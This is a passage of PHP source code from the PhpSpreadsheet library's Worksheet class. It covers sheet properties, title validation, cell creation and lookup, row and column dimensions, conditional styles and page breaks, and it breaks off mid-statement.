PhpOffice\PhpSpreadsheet\ReferenceHelper; use PhpOffice\PhpSpreadsheet\RichText\RichText; use PhpOffice\PhpSpreadsheet\Shared; use PhpOffice\PhpSpreadsheet\Spreadsheet; use PhpOffice\PhpSpreadsheet\Style\Alignment; use PhpOffice\PhpSpreadsheet\Style\Color; use PhpOffice\PhpSpreadsheet\Style\Conditional; use PhpOffice\PhpSpreadsheet\Style\NumberFormat; use PhpOffice\PhpSpreadsheet\Style\Protection as StyleProtection; use PhpOffice\PhpSpreadsheet\Style\Style; class Worksheet implements IComparable { // Break types public const BREAK_NONE = 0; public const BREAK_ROW = 1; public const BREAK_COLUMN = 2; // Maximum column for row break public const BREAK_ROW_MAX_COLUMN = 16383; // Sheet state public const SHEETSTATE_VISIBLE = 'visible'; public const SHEETSTATE_HIDDEN = 'hidden'; public const SHEETSTATE_VERYHIDDEN = 'veryHidden'; public const MERGE_CELL_CONTENT_EMPTY = 'empty'; public const MERGE_CELL_CONTENT_HIDE = 'hide'; public const MERGE_CELL_CONTENT_MERGE = 'merge'; protected const SHEET_NAME_REQUIRES_NO_QUOTES = '/^[_\p{L}][_\p{L}\p{N}]*$/mui'; /** * Maximum 31 characters allowed for sheet title. * * @var int */ const SHEET_TITLE_MAXIMUM_LENGTH = 31; /** * Invalid characters in sheet title. */ private static array $invalidCharacters = ['*', ':', '/', '\\', '?', '[', ']']; /** * Parent spreadsheet. */ private ?Spreadsheet $parent; /** * Collection of cells. */ private Cells $cellCollection; private bool $cellCollectionInitialized = true; /** * Collection of row dimensions. * * @var RowDimension[] */ private array $rowDimensions = []; /** * Default row dimension. */ private RowDimension $defaultRowDimension; /** * Collection of column dimensions. * * @var ColumnDimension[] */ private array $columnDimensions = []; /** * Default column dimension. */ private ColumnDimension $defaultColumnDimension; /** * Collection of drawings. * * @var ArrayObject<int, BaseDrawing> */ private ArrayObject $drawingCollection; /** * Collection of Chart objects. * * @var ArrayObject<int, Chart> */ private ArrayObject $chartCollection; /** * Collection of Table objects. * * @var ArrayObject<int, Table> */ private ArrayObject $tableCollection; /** * Worksheet title. */ private string $title = ''; /** * Sheet state. */ private string $sheetState; /** * Page setup. */ private PageSetup $pageSetup; /** * Page margins. */ private PageMargins $pageMargins; /** * Page header/footer. */ private HeaderFooter $headerFooter; /** * Sheet view. */ private SheetView $sheetView; /** * Protection. */ private Protection $protection; /** * Collection of styles. * * @var Style[] */ private array $styles = []; /** * Conditional styles. Indexed by cell coordinate, e.g. 'A1'. */ private array $conditionalStylesCollection = []; /** * Collection of row breaks. * * @var PageBreak[] */ private array $rowBreaks = []; /** * Collection of column breaks. * * @var PageBreak[] */ private array $columnBreaks = []; /** * Collection of merged cell ranges. * * @var string[] */ private array $mergeCells = []; /** * Collection of protected cell ranges. * * @var ProtectedRange[] */ private array $protectedCells = []; /** * Autofilter Range and selection. */ private AutoFilter $autoFilter; /** * Freeze pane. */ private ?string $freezePane = null; /** * Default position of the right bottom pane. */ private ?string $topLeftCell = null; private string $paneTopLeftCell = ''; private string $activePane = ''; private int $xSplit = 0; private int $ySplit = 0; private string $paneState = ''; /** * Properties of the 4 panes. * * @var (null|Pane)[] */ private array $panes = [ 'bottomRight' => null, 'bottomLeft' => null, 'topRight' => null, 'topLeft' => null, ]; /** * Show gridlines? */ private bool $showGridlines = true; /** * Print gridlines? */ private bool $printGridlines = false; /** * Show row and column headers? */ private bool $showRowColHeaders = true; /** * Show summary below? (Row/Column outline). */ private bool $showSummaryBelow = true; /** * Show summary right? (Row/Column outline). */ private bool $showSummaryRight = true; /** * Collection of comments. * * @var Comment[] */ private array $comments = []; /** * Active cell. (Only one!). */ private string $activeCell = 'A1'; /** * Selected cells. */ private string $selectedCells = 'A1'; /** * Cached highest column. */ private int $cachedHighestColumn = 1; /** * Cached highest row. */ private int $cachedHighestRow = 1; /** * Right-to-left? */ private bool $rightToLeft = false; /** * Hyperlinks. Indexed by cell coordinate, e.g. 'A1'. */ private array $hyperlinkCollection = []; /** * Data validation objects. Indexed by cell coordinate, e.g. 'A1'. */ private array $dataValidationCollection = []; /** * Tab color. */ private ?Color $tabColor = null; /** * Dirty flag. */ private bool $dirty = true; /** * Hash. */ private string $hash; /** * CodeName. */ private ?string $codeName = null; /** * Create a new worksheet. */ public function __construct(?Spreadsheet $parent = null, string $title = 'Worksheet') { // Set parent and title $this->parent = $parent; $this->setTitle($title, false); // setTitle can change $pTitle $this->setCodeName($this->getTitle()); $this->setSheetState(self::SHEETSTATE_VISIBLE); $this->cellCollection = CellsFactory::getInstance($this); // Set page setup $this->pageSetup = new PageSetup(); // Set page margins $this->pageMargins = new PageMargins(); // Set page header/footer $this->headerFooter = new HeaderFooter(); // Set sheet view $this->sheetView = new SheetView(); // Drawing collection $this->drawingCollection = new ArrayObject(); // Chart collection $this->chartCollection = new ArrayObject(); // Protection $this->protection = new Protection(); // Default row dimension $this->defaultRowDimension = new RowDimension(null); // Default column dimension $this->defaultColumnDimension = new ColumnDimension(null); // AutoFilter $this->autoFilter = new AutoFilter('', $this); // Table collection $this->tableCollection = new ArrayObject(); } /** * Disconnect all cells from this Worksheet object, * typically so that the worksheet object can be unset. */ public function disconnectCells(): void { if ($this->cellCollectionInitialized) { $this->cellCollection->unsetWorksheetCells(); unset($this->cellCollection); $this->cellCollectionInitialized = false; } // detach ourself from the workbook, so that it can then delete this worksheet successfully $this->parent = null; } /** * Code to execute when this worksheet is unset(). */ public function __destruct() { Calculation::getInstance($this->parent)->clearCalculationCacheForWorksheet($this->title); $this->disconnectCells(); unset($this->rowDimensions, $this->columnDimensions, $this->tableCollection, $this->drawingCollection, $this->chartCollection, $this->autoFilter); } /** * Return the cell collection. */ public function getCellCollection(): Cells { return $this->cellCollection; } /** * Get array of invalid characters for sheet title. */ public static function getInvalidCharacters(): array { return self::$invalidCharacters; } /** * Check sheet code name for valid Excel syntax. * * @param string $sheetCodeName The string to check * * @return string The valid string */ private static function checkSheetCodeName(string $sheetCodeName): string { $charCount = Shared\StringHelper::countCharacters($sheetCodeName); if ($charCount == 0) { throw new Exception('Sheet code name cannot be empty.'); } // Some of the printable ASCII characters are invalid: * : / \ ? [ ] and first and last characters cannot be a "'" if ( (str_replace(self::$invalidCharacters, '', $sheetCodeName) !== $sheetCodeName) || (Shared\StringHelper::substring($sheetCodeName, -1, 1) == '\'') || (Shared\StringHelper::substring($sheetCodeName, 0, 1) == '\'') ) { throw new Exception('Invalid character found in sheet code name'); } // Enforce maximum characters allowed for sheet title if ($charCount > self::SHEET_TITLE_MAXIMUM_LENGTH) { throw new Exception('Maximum ' . self::SHEET_TITLE_MAXIMUM_LENGTH . ' characters allowed in sheet code name.'); } return $sheetCodeName; } /** * Check sheet title for valid Excel syntax. * * @param string $sheetTitle The string to check * * @return string The valid string */ private static function checkSheetTitle(string $sheetTitle): string { // Some of the printable ASCII characters are invalid: * : / \ ? [ ] if (str_replace(self::$invalidCharacters, '', $sheetTitle) !== $sheetTitle) { throw new Exception('Invalid character found in sheet title'); } // Enforce maximum characters allowed for sheet title if (Shared\StringHelper::countCharacters($sheetTitle) > self::SHEET_TITLE_MAXIMUM_LENGTH) { throw new Exception('Maximum ' . self::SHEET_TITLE_MAXIMUM_LENGTH . ' characters allowed in sheet title.'); } return $sheetTitle; } /** * Get a sorted list of all cell coordinates currently held in the collection by row and column. * * @param bool $sorted Also sort the cell collection? * * @return string[] */ public function getCoordinates(bool $sorted = true): array { if ($this->cellCollectionInitialized === false) { return []; } if ($sorted) { return $this->cellCollection->getSortedCoordinates(); } return $this->cellCollection->getCoordinates(); } /** * Get collection of row dimensions. * * @return RowDimension[] */ public function getRowDimensions(): array { return $this->rowDimensions; } /** * Get default row dimension. */ public function getDefaultRowDimension(): RowDimension { return $this->defaultRowDimension; } /** * Get collection of column dimensions. * * @return ColumnDimension[] */ public function getColumnDimensions(): array { /** @var callable $callable */ $callable = [self::class, 'columnDimensionCompare']; uasort($this->columnDimensions, $callable); return $this->columnDimensions; } private static function columnDimensionCompare(ColumnDimension $a, ColumnDimension $b): int { return $a->getColumnNumeric() - $b->getColumnNumeric(); } /** * Get default column dimension. */ public function getDefaultColumnDimension(): ColumnDimension { return $this->defaultColumnDimension; } /** * Get collection of drawings. * * @return ArrayObject<int, BaseDrawing> */ public function getDrawingCollection(): ArrayObject { return $this->drawingCollection; } /** * Get collection of charts. * * @return ArrayObject<int, Chart> */ public function getChartCollection(): ArrayObject { return $this->chartCollection; } public function addChart(Chart $chart): Chart { $chart->setWorksheet($this); $this->chartCollection[] = $chart; return $chart; } /** * Return the count of charts on this worksheet. * * @return int The number of charts */ public function getChartCount(): int { return count($this->chartCollection); } /** * Get a chart by its index position. * * @param ?string $index Chart index position * * @return Chart|false */ public function getChartByIndex(?string $index) { $chartCount = count($this->chartCollection); if ($chartCount == 0) { return false; } if ($index === null) { $index = --$chartCount; } if (!isset($this->chartCollection[$index])) { return false; } return $this->chartCollection[$index]; } /** * Return an array of the names of charts on this worksheet. * * @return string[] The names of charts */ public function getChartNames(): array { $chartNames = []; foreach ($this->chartCollection as $chart) { $chartNames[] = $chart->getName(); } return $chartNames; } /** * Get a chart by name. * * @param string $chartName Chart name * * @return Chart|false */ public function getChartByName(string $chartName) { foreach ($this->chartCollection as $index => $chart) { if ($chart->getName() == $chartName) { return $chart; } } return false; } public function getChartByNameOrThrow(string $chartName): Chart { $chart = $this->getChartByName($chartName); if ($chart !== false) { return $chart; } throw new Exception("Sheet does not have a chart named $chartName."); } /** * Refresh column dimensions. * * @return $this */ public function refreshColumnDimensions(): static { $newColumnDimensions = []; foreach ($this->getColumnDimensions() as $objColumnDimension) { $newColumnDimensions[$objColumnDimension->getColumnIndex()] = $objColumnDimension; } $this->columnDimensions = $newColumnDimensions; return $this; } /** * Refresh row dimensions. * * @return $this */ public function refreshRowDimensions(): static { $newRowDimensions = []; foreach ($this->getRowDimensions() as $objRowDimension) { $newRowDimensions[$objRowDimension->getRowIndex()] = $objRowDimension; } $this->rowDimensions = $newRowDimensions; return $this; } /** * Calculate worksheet dimension. * * @return string String containing the dimension of this worksheet */ public function calculateWorksheetDimension(): string { // Return return 'A1:' . $this->getHighestColumn() . $this->getHighestRow(); } /** * Calculate worksheet data dimension. * * @return string String containing the dimension of this worksheet that actually contain data */ public function calculateWorksheetDataDimension(): string { // Return return 'A1:' . $this->getHighestDataColumn() . $this->getHighestDataRow(); } /** * Calculate widths for auto-size columns. * * @return $this */ public function calculateColumnWidths(): static { // initialize $autoSizes array $autoSizes = []; foreach ($this->getColumnDimensions() as $colDimension) { if ($colDimension->getAutoSize()) { $autoSizes[$colDimension->getColumnIndex()] = -1; } } // There is only something to do if there are some auto-size columns if (!empty($autoSizes)) { $holdActivePane = $this->activePane; // build list of cells references that participate in a merge $isMergeCell = []; foreach ($this->getMergeCells() as $cells) { foreach (Coordinate::extractAllCellReferencesInRange($cells) as $cellReference) { $isMergeCell[$cellReference] = true; } } $autoFilterIndentRanges = (new AutoFit($this))->getAutoFilterIndentRanges(); // loop through all cells in the worksheet foreach ($this->getCoordinates(false) as $coordinate) { $cell = $this->getCellOrNull($coordinate); if ($cell !== null && isset($autoSizes[$this->cellCollection->getCurrentColumn()])) { //Determine if cell is in merge range $isMerged = isset($isMergeCell[$this->cellCollection->getCurrentCoordinate()]); //By default merged cells should be ignored $isMergedButProceed = false; //The only exception is if it's a merge range value cell of a 'vertical' range (1 column wide) if ($isMerged && $cell->isMergeRangeValueCell()) { $range = (string) $cell->getMergeRange(); $rangeBoundaries = Coordinate::rangeDimension($range); if ($rangeBoundaries[0] === 1) { $isMergedButProceed = true; } } // Determine width if cell is not part of a merge or does and is a value cell of 1-column wide range if (!$isMerged || $isMergedButProceed) { // Determine if we need to make an adjustment for the first row in an AutoFilter range that // has a column filter dropdown $filterAdjustment = false; if (!empty($autoFilterIndentRanges)) { foreach ($autoFilterIndentRanges as $autoFilterFirstRowRange) { if ($cell->isInRange($autoFilterFirstRowRange)) { $filterAdjustment = true; break; } } } $indentAdjustment = $cell->getStyle()->getAlignment()->getIndent(); $indentAdjustment += (int) ($cell->getStyle()->getAlignment()->getHorizontal() === Alignment::HORIZONTAL_CENTER); // Calculated value // To formatted string $cellValue = NumberFormat::toFormattedString( $cell->getCalculatedValue(), (string) $this->getParentOrThrow()->getCellXfByIndex($cell->getXfIndex()) ->getNumberFormat()->getFormatCode(true) ); if ($cellValue !== null && $cellValue !== '') { $autoSizes[$this->cellCollection->getCurrentColumn()] = max( $autoSizes[$this->cellCollection->getCurrentColumn()], round( Shared\Font::calculateColumnWidth( $this->getParentOrThrow()->getCellXfByIndex($cell->getXfIndex())->getFont(), $cellValue, (int) $this->getParentOrThrow()->getCellXfByIndex($cell->getXfIndex()) ->getAlignment()->getTextRotation(), $this->getParentOrThrow()->getDefaultStyle()->getFont(), $filterAdjustment, $indentAdjustment ), 3 ) ); } } } } // adjust column widths foreach ($autoSizes as $columnIndex => $width) { if ($width == -1) { $width = $this->getDefaultColumnDimension()->getWidth(); } $this->getColumnDimension($columnIndex)->setWidth($width); } $this->activePane = $holdActivePane; } return $this; } /** * Get parent or null. */ public function getParent(): ?Spreadsheet { return $this->parent; } /** * Get parent, throw exception if null. */ public function getParentOrThrow(): Spreadsheet { if ($this->parent !== null) { return $this->parent; } throw new Exception('Sheet does not have a parent.'); } /** * Re-bind parent. * * @return $this */ public function rebindParent(Spreadsheet $parent): static { if ($this->parent !== null) { $definedNames = $this->parent->getDefinedNames(); foreach ($definedNames as $definedName) { $parent->addDefinedName($definedName); } $this->parent->removeSheetByIndex( $this->parent->getIndex($this) ); } $this->parent = $parent; return $this; } /** * Get title. */ public function getTitle(): string { return $this->title; } /** * Set title. * * @param string $title String containing the dimension of this worksheet * @param bool $updateFormulaCellReferences Flag indicating whether cell references in formulae should * be updated to reflect the new sheet name. * This should be left as the default true, unless you are * certain that no formula cells on any worksheet contain * references to this worksheet * @param bool $validate False to skip validation of new title. WARNING: This should only be set * at parse time (by Readers), where titles can be assumed to be valid. * * @return $this */ public function setTitle(string $title, bool $updateFormulaCellReferences = true, bool $validate = true): static { // Is this a 'rename' or not? if ($this->getTitle() == $title) { return $this; } // Old title $oldTitle = $this->getTitle(); if ($validate) { // Syntax check self::checkSheetTitle($title); if ($this->parent) { // Is there already such sheet name? if ($this->parent->sheetNameExists($title)) { // Use name, but append with lowest possible integer if (Shared\StringHelper::countCharacters($title) > 29) { $title = Shared\StringHelper::substring($title, 0, 29); } $i = 1; while ($this->parent->sheetNameExists($title . ' ' . $i)) { ++$i; if ($i == 10) { if (Shared\StringHelper::countCharacters($title) > 28) { $title = Shared\StringHelper::substring($title, 0, 28); } } elseif ($i == 100) { if (Shared\StringHelper::countCharacters($title) > 27) { $title = Shared\StringHelper::substring($title, 0, 27); } } } $title .= " $i"; } } } // Set title $this->title = $title; $this->dirty = true; if ($this->parent && $this->parent->getCalculationEngine()) { // New title $newTitle = $this->getTitle(); $this->parent->getCalculationEngine() ->renameCalculationCacheForWorksheet($oldTitle, $newTitle); if ($updateFormulaCellReferences) { ReferenceHelper::getInstance()->updateNamedFormulae($this->parent, $oldTitle, $newTitle); } } return $this; } /** * Get sheet state. * * @return string Sheet state (visible, hidden, veryHidden) */ public function getSheetState(): string { return $this->sheetState; } /** * Set sheet state. * * @param string $value Sheet state (visible, hidden, veryHidden) * * @return $this */ public function setSheetState(string $value): static { $this->sheetState = $value; return $this; } /** * Get page setup. */ public function getPageSetup(): PageSetup { return $this->pageSetup; } /** * Set page setup. * * @return $this */ public function setPageSetup(PageSetup $pageSetup): static { $this->pageSetup = $pageSetup; return $this; } /** * Get page margins. */ public function getPageMargins(): PageMargins { return $this->pageMargins; } /** * Set page margins. * * @return $this */ public function setPageMargins(PageMargins $pageMargins): static { $this->pageMargins = $pageMargins; return $this; } /** * Get page header/footer. */ public function getHeaderFooter(): HeaderFooter { return $this->headerFooter; } /** * Set page header/footer. * * @return $this */ public function setHeaderFooter(HeaderFooter $headerFooter): static { $this->headerFooter = $headerFooter; return $this; } /** * Get sheet view. */ public function getSheetView(): SheetView { return $this->sheetView; } /** * Set sheet view. * * @return $this */ public function setSheetView(SheetView $sheetView): static { $this->sheetView = $sheetView; return $this; } /** * Get Protection. */ public function getProtection(): Protection { return $this->protection; } /** * Set Protection. * * @return $this */ public function setProtection(Protection $protection): static { $this->protection = $protection; $this->dirty = true; return $this; } /** * Get highest worksheet column. * * @param null|int|string $row Return the data highest column for the specified row, * or the highest column of any row if no row number is passed * * @return string Highest column name */ public function getHighestColumn($row = null): string { if ($row === null) { return Coordinate::stringFromColumnIndex($this->cachedHighestColumn); } return $this->getHighestDataColumn($row); } /** * Get highest worksheet column that contains data. * * @param null|int|string $row Return the highest data column for the specified row, * or the highest data column of any row if no row number is passed * * @return string Highest column name that contains data */ public function getHighestDataColumn($row = null): string { return $this->cellCollection->getHighestColumn($row); } /** * Get highest worksheet row. * * @param null|string $column Return the highest data row for the specified column, * or the highest row of any column if no column letter is passed * * @return int Highest row number */ public function getHighestRow(?string $column = null): int { if ($column === null) { return $this->cachedHighestRow; } return $this->getHighestDataRow($column); } /** * Get highest worksheet row that contains data. * * @param null|string $column Return the highest data row for the specified column, * or the highest data row of any column if no column letter is passed * * @return int Highest row number that contains data */ public function getHighestDataRow(?string $column = null): int { return $this->cellCollection->getHighestRow($column); } /** * Get highest worksheet column and highest row that have cell records. * * @return array Highest column name and highest row number */ public function getHighestRowAndColumn(): array { return $this->cellCollection->getHighestRowAndColumn(); } /** * Set a cell value. * * @param array{0: int, 1: int}|CellAddress|string $coordinate Coordinate of the cell as a string, eg: 'C5'; * or as an array of [$columnIndex, $row] (e.g. [3, 5]), or a CellAddress object. * @param mixed $value Value for the cell * @param null|IValueBinder $binder Value Binder to override the currently set Value Binder * * @return $this */ public function setCellValue(CellAddress|string|array $coordinate, mixed $value, ?IValueBinder $binder = null): static { $cellAddress = Functions::trimSheetFromCellReference(Validations::validateCellAddress($coordinate)); $this->getCell($cellAddress)->setValue($value, $binder); return $this; } /** * Set a cell value. * * @param array{0: int, 1: int}|CellAddress|string $coordinate Coordinate of the cell as a string, eg: 'C5'; * or as an array of [$columnIndex, $row] (e.g. [3, 5]), or a CellAddress object. * @param mixed $value Value of the cell * @param string $dataType Explicit data type, see DataType::TYPE_* * Note that PhpSpreadsheet does not validate that the value and datatype are consistent, in using this * method, then it is your responsibility as an end-user developer to validate that the value and * the datatype match. * If you do mismatch value and datatpe, then the value you enter may be changed to match the datatype * that you specify. * * @see DataType * * @return $this */ public function setCellValueExplicit(CellAddress|string|array $coordinate, mixed $value, string $dataType): static { $cellAddress = Functions::trimSheetFromCellReference(Validations::validateCellAddress($coordinate)); $this->getCell($cellAddress)->setValueExplicit($value, $dataType); return $this; } /** * Get cell at a specific coordinate. * * @param array{0: int, 1: int}|CellAddress|string $coordinate Coordinate of the cell as a string, eg: 'C5'; * or as an array of [$columnIndex, $row] (e.g. [3, 5]), or a CellAddress object. * * @return Cell Cell that was found or created * WARNING: Because the cell collection can be cached to reduce memory, it only allows one * "active" cell at a time in memory. If you assign that cell to a variable, then select * another cell using getCell() or any of its variants, the newly selected cell becomes * the "active" cell, and any previous assignment becomes a disconnected reference because * the active cell has changed. */ public function getCell(CellAddress|string|array $coordinate): Cell { $cellAddress = Functions::trimSheetFromCellReference(Validations::validateCellAddress($coordinate)); // Shortcut for increased performance for the vast majority of simple cases if ($this->cellCollection->has($cellAddress)) { /** @var Cell $cell */ $cell = $this->cellCollection->get($cellAddress); return $cell; } /** @var Worksheet $sheet */ [$sheet, $finalCoordinate] = $this->getWorksheetAndCoordinate($cellAddress); $cell = $sheet->getCellCollection()->get($finalCoordinate); return $cell ?? $sheet->createNewCell($finalCoordinate); } /** * Get the correct Worksheet and coordinate from a coordinate that may * contains reference to another sheet or a named range. * * @return array{0: Worksheet, 1: string} */ private function getWorksheetAndCoordinate(string $coordinate): array { $sheet = null; $finalCoordinate = null; // Worksheet reference? if (str_contains($coordinate, '!')) { $worksheetReference = self::extractSheetTitle($coordinate, true); $sheet = $this->getParentOrThrow()->getSheetByName($worksheetReference[0]); $finalCoordinate = strtoupper($worksheetReference[1]); if ($sheet === null) { throw new Exception('Sheet not found for name: ' . $worksheetReference[0]); } } elseif ( !preg_match('/^' . Calculation::CALCULATION_REGEXP_CELLREF . '$/i', $coordinate) && preg_match('/^' . Calculation::CALCULATION_REGEXP_DEFINEDNAME . '$/iu', $coordinate) ) { // Named range? $namedRange = $this->validateNamedRange($coordinate, true); if ($namedRange !== null) { $sheet = $namedRange->getWorksheet(); if ($sheet === null) { throw new Exception('Sheet not found for named range: ' . $namedRange->getName()); } /** @phpstan-ignore-next-line */ $cellCoordinate = ltrim(substr($namedRange->getValue(), strrpos($namedRange->getValue(), '!')), '!'); $finalCoordinate = str_replace('$', '', $cellCoordinate); } } if ($sheet === null || $finalCoordinate === null) { $sheet = $this; $finalCoordinate = strtoupper($coordinate); } if (Coordinate::coordinateIsRange($finalCoordinate)) { throw new Exception('Cell coordinate string can not be a range of cells.'); } elseif (str_contains($finalCoordinate, '$')) { throw new Exception('Cell coordinate must not be absolute.'); } return [$sheet, $finalCoordinate]; } /** * Get an existing cell at a specific coordinate, or null. * * @param string $coordinate Coordinate of the cell, eg: 'A1' * * @return null|Cell Cell that was found or null */ private function getCellOrNull(string $coordinate): ?Cell { // Check cell collection if ($this->cellCollection->has($coordinate)) { return $this->cellCollection->get($coordinate); } return null; } /** * Create a new cell at the specified coordinate. * * @param string $coordinate Coordinate of the cell * * @return Cell Cell that was created * WARNING: Because the cell collection can be cached to reduce memory, it only allows one * "active" cell at a time in memory. If you assign that cell to a variable, then select * another cell using getCell() or any of its variants, the newly selected cell becomes * the "active" cell, and any previous assignment becomes a disconnected reference because * the active cell has changed. */ public function createNewCell(string $coordinate): Cell { [$column, $row, $columnString] = Coordinate::indexesFromString($coordinate); $cell = new Cell(null, DataType::TYPE_NULL, $this); $this->cellCollection->add($coordinate, $cell); // Coordinates if ($column > $this->cachedHighestColumn) { $this->cachedHighestColumn = $column; } if ($row > $this->cachedHighestRow) { $this->cachedHighestRow = $row; } // Cell needs appropriate xfIndex from dimensions records // but don't create dimension records if they don't already exist $rowDimension = $this->rowDimensions[$row] ?? null; $columnDimension = $this->columnDimensions[$columnString] ?? null; $xfSet = false; if ($rowDimension !== null) { $rowXf = (int) $rowDimension->getXfIndex(); if ($rowXf > 0) { // then there is a row dimension with explicit style, assign it to the cell $cell->setXfIndex($rowXf); $xfSet = true; } } if (!$xfSet && $columnDimension !== null) { $colXf = (int) $columnDimension->getXfIndex(); if ($colXf > 0) { // then there is a column dimension, assign it to the cell $cell->setXfIndex($colXf); } } return $cell; } /** * Does the cell at a specific coordinate exist? * * @param array{0: int, 1: int}|CellAddress|string $coordinate Coordinate of the cell as a string, eg: 'C5'; * or as an array of [$columnIndex, $row] (e.g. [3, 5]), or a CellAddress object. */ public function cellExists(CellAddress|string|array $coordinate): bool { $cellAddress = Validations::validateCellAddress($coordinate); [$sheet, $finalCoordinate] = $this->getWorksheetAndCoordinate($cellAddress); return $sheet->getCellCollection()->has($finalCoordinate); } /** * Get row dimension at a specific row. * * @param int $row Numeric index of the row */ public function getRowDimension(int $row): RowDimension { // Get row dimension if (!isset($this->rowDimensions[$row])) { $this->rowDimensions[$row] = new RowDimension($row); $this->cachedHighestRow = max($this->cachedHighestRow, $row); } return $this->rowDimensions[$row]; } public function rowDimensionExists(int $row): bool { return isset($this->rowDimensions[$row]); } public function columnDimensionExists(string $column): bool { return isset($this->columnDimensions[$column]); } /** * Get column dimension at a specific column. * * @param string $column String index of the column eg: 'A' */ public function getColumnDimension(string $column): ColumnDimension { // Uppercase coordinate $column = strtoupper($column); // Fetch dimensions if (!isset($this->columnDimensions[$column])) { $this->columnDimensions[$column] = new ColumnDimension($column); $columnIndex = Coordinate::columnIndexFromString($column); if ($this->cachedHighestColumn < $columnIndex) { $this->cachedHighestColumn = $columnIndex; } } return $this->columnDimensions[$column]; } /** * Get column dimension at a specific column by using numeric cell coordinates. * * @param int $columnIndex Numeric column coordinate of the cell */ public function getColumnDimensionByColumn(int $columnIndex): ColumnDimension { return $this->getColumnDimension(Coordinate::stringFromColumnIndex($columnIndex)); } /** * Get styles. * * @return Style[] */ public function getStyles(): array { return $this->styles; } /** * Get style for cell. * * @param AddressRange|array{0: int, 1: int, 2: int, 3: int}|array{0: int, 1: int}|CellAddress|int|string $cellCoordinate * A simple string containing a cell address like 'A1' or a cell range like 'A1:E10' * or passing in an array of [$fromColumnIndex, $fromRow, $toColumnIndex, $toRow] (e.g. [3, 5, 6, 8]), * or a CellAddress or AddressRange object. */ public function getStyle(AddressRange|CellAddress|int|string|array $cellCoordinate): Style { $cellCoordinate = Validations::validateCellOrCellRange($cellCoordinate); // set this sheet as active $this->getParentOrThrow()->setActiveSheetIndex($this->getParentOrThrow()->getIndex($this)); // set cell coordinate as active $this->setSelectedCells($cellCoordinate); return $this->getParentOrThrow()->getCellXfSupervisor(); } /** * Get conditional styles for a cell. * * @param string $coordinate eg: 'A1' or 'A1:A3'. * If a single cell is referenced, then the array of conditional styles will be returned if the cell is * included in a conditional style range. * If a range of cells is specified, then the styles will only be returned if the range matches the entire * range of the conditional. * * @return Conditional[] */ public function getConditionalStyles(string $coordinate): array { $coordinate = strtoupper($coordinate); if (str_contains($coordinate, ':')) { return $this->conditionalStylesCollection[$coordinate] ?? []; } $cell = $this->getCell($coordinate); foreach (array_keys($this->conditionalStylesCollection) as $conditionalRange) { if ($cell->isInRange($conditionalRange)) { return $this->conditionalStylesCollection[$conditionalRange]; } } return []; } public function getConditionalRange(string $coordinate): ?string { $coordinate = strtoupper($coordinate); $cell = $this->getCell($coordinate); foreach (array_keys($this->conditionalStylesCollection) as $conditionalRange) { if ($cell->isInRange($conditionalRange)) { return $conditionalRange; } } return null; } /** * Do conditional styles exist for this cell? * * @param string $coordinate eg: 'A1' or 'A1:A3'. * If a single cell is specified, then this method will return true if that cell is included in a * conditional style range. * If a range of cells is specified, then true will only be returned if the range matches the entire * range of the conditional. */ public function conditionalStylesExists(string $coordinate): bool { $coordinate = strtoupper($coordinate); if (str_contains($coordinate, ':')) { return isset($this->conditionalStylesCollection[$coordinate]); } $cell = $this->getCell($coordinate); foreach (array_keys($this->conditionalStylesCollection) as $conditionalRange) { if ($cell->isInRange($conditionalRange)) { return true; } } return false; } /** * Removes conditional styles for a cell. * * @param string $coordinate eg: 'A1' * * @return $this */ public function removeConditionalStyles(string $coordinate): static { unset($this->conditionalStylesCollection[strtoupper($coordinate)]); return $this; } /** * Get collection of conditional styles. */ public function getConditionalStylesCollection(): array { return $this->conditionalStylesCollection; } /** * Set conditional styles. * * @param string $coordinate eg: 'A1' * @param Conditional[] $styles * * @return $this */ public function setConditionalStyles(string $coordinate, array $styles): static { $this->conditionalStylesCollection[strtoupper($coordinate)] = $styles; return $this; } /** * Duplicate cell style to a range of cells. * * Please note that this will overwrite existing cell styles for cells in range! * * @param Style $style Cell style to duplicate * @param string $range Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1") * * @return $this */ public function duplicateStyle(Style $style, string $range): static { // Add the style to the workbook if necessary $workbook = $this->getParentOrThrow(); if ($existingStyle = $workbook->getCellXfByHashCode($style->getHashCode())) { // there is already such cell Xf in our collection $xfIndex = $existingStyle->getIndex(); } else { // we don't have such a cell Xf, need to add $workbook->addCellXf($style); $xfIndex = $style->getIndex(); } // Calculate range outer borders [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($range . ':' . $range); // Make sure we can loop upwards on rows and columns if ($rangeStart[0] > $rangeEnd[0] && $rangeStart[1] > $rangeEnd[1]) { $tmp = $rangeStart; $rangeStart = $rangeEnd; $rangeEnd = $tmp; } // Loop through cells and apply styles for ($col = $rangeStart[0]; $col <= $rangeEnd[0]; ++$col) { for ($row = $rangeStart[1]; $row <= $rangeEnd[1]; ++$row) { $this->getCell(Coordinate::stringFromColumnIndex($col) . $row)->setXfIndex($xfIndex); } } return $this; } /** * Duplicate conditional style to a range of cells. * * Please note that this will overwrite existing cell styles for cells in range! * * @param Conditional[] $styles Cell style to duplicate * @param string $range Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1") * * @return $this */ public function duplicateConditionalStyle(array $styles, string $range = ''): static { foreach ($styles as $cellStyle) { if (!($cellStyle instanceof Conditional)) { throw new Exception('Style is not a conditional style'); } } // Calculate range outer borders [$rangeStart, $rangeEnd] = Coordinate::rangeBoundaries($range . ':' . $range); // Make sure we can loop upwards on rows and columns if ($rangeStart[0] > $rangeEnd[0] && $rangeStart[1] > $rangeEnd[1]) { $tmp = $rangeStart; $rangeStart = $rangeEnd; $rangeEnd = $tmp; } // Loop through cells and apply styles for ($col = $rangeStart[0]; $col <= $rangeEnd[0]; ++$col) { for ($row = $rangeStart[1]; $row <= $rangeEnd[1]; ++$row) { $this->setConditionalStyles(Coordinate::stringFromColumnIndex($col) . $row, $styles); } } return $this; } /** * Set break on a cell. * * @param array{0: int, 1: int}|CellAddress|string $coordinate Coordinate of the cell as a string, eg: 'C5'; * or as an array of [$columnIndex, $row] (e.g. [3, 5]), or a CellAddress object. * @param int $break Break type (type of Worksheet::BREAK_*) * * @return $this */ public function setBreak(CellAddress|string|array $coordinate, int $break, int $max = -1): static { $cellAddress = Functions::trimSheetFromCellReference(Validations::validateCellAddress($coordinate)); if ($break === self::BREAK_NONE) { unset($this->rowBreaks[$cellAddress], $this->columnBreaks[$cellAddress]); } elseif ($break === self::BREAK_ROW) { $this->rowBreaks[$cellAddress] = new PageBreak($break, $cellAddress, $max); } elseif ($break === self::BREAK_COLUMN) { $this->columnBreaks[$cellAddress] = new PageBreak($break, 